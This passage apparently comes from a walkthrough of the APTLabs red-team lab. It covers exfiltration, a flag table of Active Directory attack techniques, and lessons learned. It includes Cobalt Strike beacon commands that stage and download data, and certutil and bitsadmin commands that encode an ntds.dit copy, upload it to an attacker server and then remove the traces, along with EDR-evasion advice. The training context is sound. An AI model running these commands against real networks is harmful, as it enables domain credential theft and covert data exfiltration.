For larger data volumes, the C2 channel itself serves as an exfiltration route. Beacon's built-in file download routes data through the existing HTTPS connection with domain fronting, making it look like legitimate web traffic.
# Stage data on target — compress and split
BEACON> shell cmd /c "cd C:\Temp && makecab loot.zip loot.cab"
BEACON> shell cmd /c "certutil -encode loot.cab loot.b64 && split loot.b64 5M chunk_"
# Download through C2 channel
BEACON> download C:\Temp\chunk_01
BEACON> download C:\Temp\chunk_02
# Or use CS's built-in download which routes through beacon
BEACON> download C:\Users\pmorrison\Documents\sensitive_data.zip
LOLBAS for Data Staging
certutil and bitsadmin are your friends for staging data before exfiltration. They're built into Windows, Microsoft-signed, and rarely flagged by EDR.
:: Stage data with certutil — base64 encode for clean transfer
certutil -encode C:\Temp\ntds.dit C:\Temp\ntds.b64
:: Upload staged data to our server via bitsadmin
bitsadmin /transfer exfil /upload /priority high http://10.10.14.5/upload.php C:\Temp\ntds.b64
:: Clean up staging artifacts
del C:\Temp\ntds.b64 C:\Temp\loot.cab
Flag Summary
| # | Flag | Location | Technique |
|---|---|---|---|
| 1 | APT{ph1sh1ng_d0n3_r1ght} | WKS-HDESK | Phishing + macro + Donut |
| 2 | APT{bl00dh0und_1s_y0ur_fr13nd} | WKS-HDESK | SharpHound collection |
| 3 | APT{k3rb3r0_r0ast3d} | WKS-HDESK | Kerberoast + AS-REP roast |
| 4 | APT{h4sh_cr4ck3d_f1n4lly} | Attack box | NotSoSecure hashcat rules |
| 5 | APT{t0k3n_1mp3rs0n4t3d} | WKS-HDESK | Token steal + make_token |
| 6 | APT{smb_r3l4y_w1ns} | BKSRV01 | ntlmrelayx + WPAD poison |
| 7 | APT{rbcd_f0r_th3_w1n} | GH-SCCM | RBCD + S4U abuse |
| 8 | APT{dcsync_k1ng} | GH-SCCM | DCSync via mimikatz/lsassy |
| 9 | APT{g0ld3n_t1ck3t_gr4nt3d} | gigantichosting.local | Golden Ticket |
| 10 | APT{v33m_cr3ds_3xtr4ct3d} | BKSRV01 | Veeam SQL credential store |
| 11 | APT{f0r3st_trust_br34ch} | gigantichosting.local | Forest trust identification |
| 12 | APT{m3r1d14n_pwn3d} | meridian.local | OPTH via forest trust |
| 13 | APT{n3xgr0up_f4ll3n} | nexgroup.local | Credential reuse + DnsAdmins |
| 14 | APT{dns_4dm1ns_dll} | NX-DC01 | DnsAdmins DLL escalation |
| 15 | APT{p3rs1st3nc3_4ch13v3d} | All forests | WMI + Registry + DLL + LOLBAS |
| 16 | APT{wml3v3nt_subscr1pt10n} | All DCs | WMI event filter + consumer |
| 17 | APT{d4t4_3xf1ltr4t3d} | All forests | DNS + HTTPS + certutil exfil |
| 18 | APT{r3g1stry_h1j4ck} | All workstations | Run key + IFEO |
| 19 | APT{dll_s1d3l04d3d} | APPSRV01 | DLL sideloading in IIS app |
| 20 | APT{cr0ss_f0r3st_d0m1n4nc3} | All forests | Full 3-forest compromise |
Key Lessons
Rockyou.txt + best64 won't crack APTLabs hashes. Get the OneRuleToRuleThemAll.rule from the NotSoSecure GitHub. I wasted an entire day before finding these rules. Corporate passwords follow patterns that basic wordlists and rules don't cover.
Never upload offensive tools to the target. Route everything through socks 1080 on your CS beacon. BloodHound Python, Impacket, ldapsearch — all tunnel through SOCKS from your attack box. Smaller footprint, fewer Defender triggers.
Credential reuse across forest trust boundaries is real. The svc_mon / jblackwell shared hash saved me hours on nexgroup.local. Always compare NTLM hashes from DCSync dumps across all compromised domains. Humans reuse passwords, especially across managed environments.
The 24h reset seems painful but it forces you to internalize the kill chain. By Day 5 I could re-compromise the MSP forest from memory in 30 minutes. Keep a recovery script. Save all cracked hashes locally. Passwords don't change between resets.
Don't sleep on steal_token and make_token. When other users are logged into machines you have beacons on, stealing their tokens gives you their privileges without needing their passwords. This worked multiple times on shared workstations and jump boxes.
I spent a full day on RBCD because I was trying to use PowerView's Set-DomainObject for the SecurityDescriptor. It doesn't work. Use raw byte manipulation or PowerMad for the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Write a script, test it, automate it for the daily reset recovery.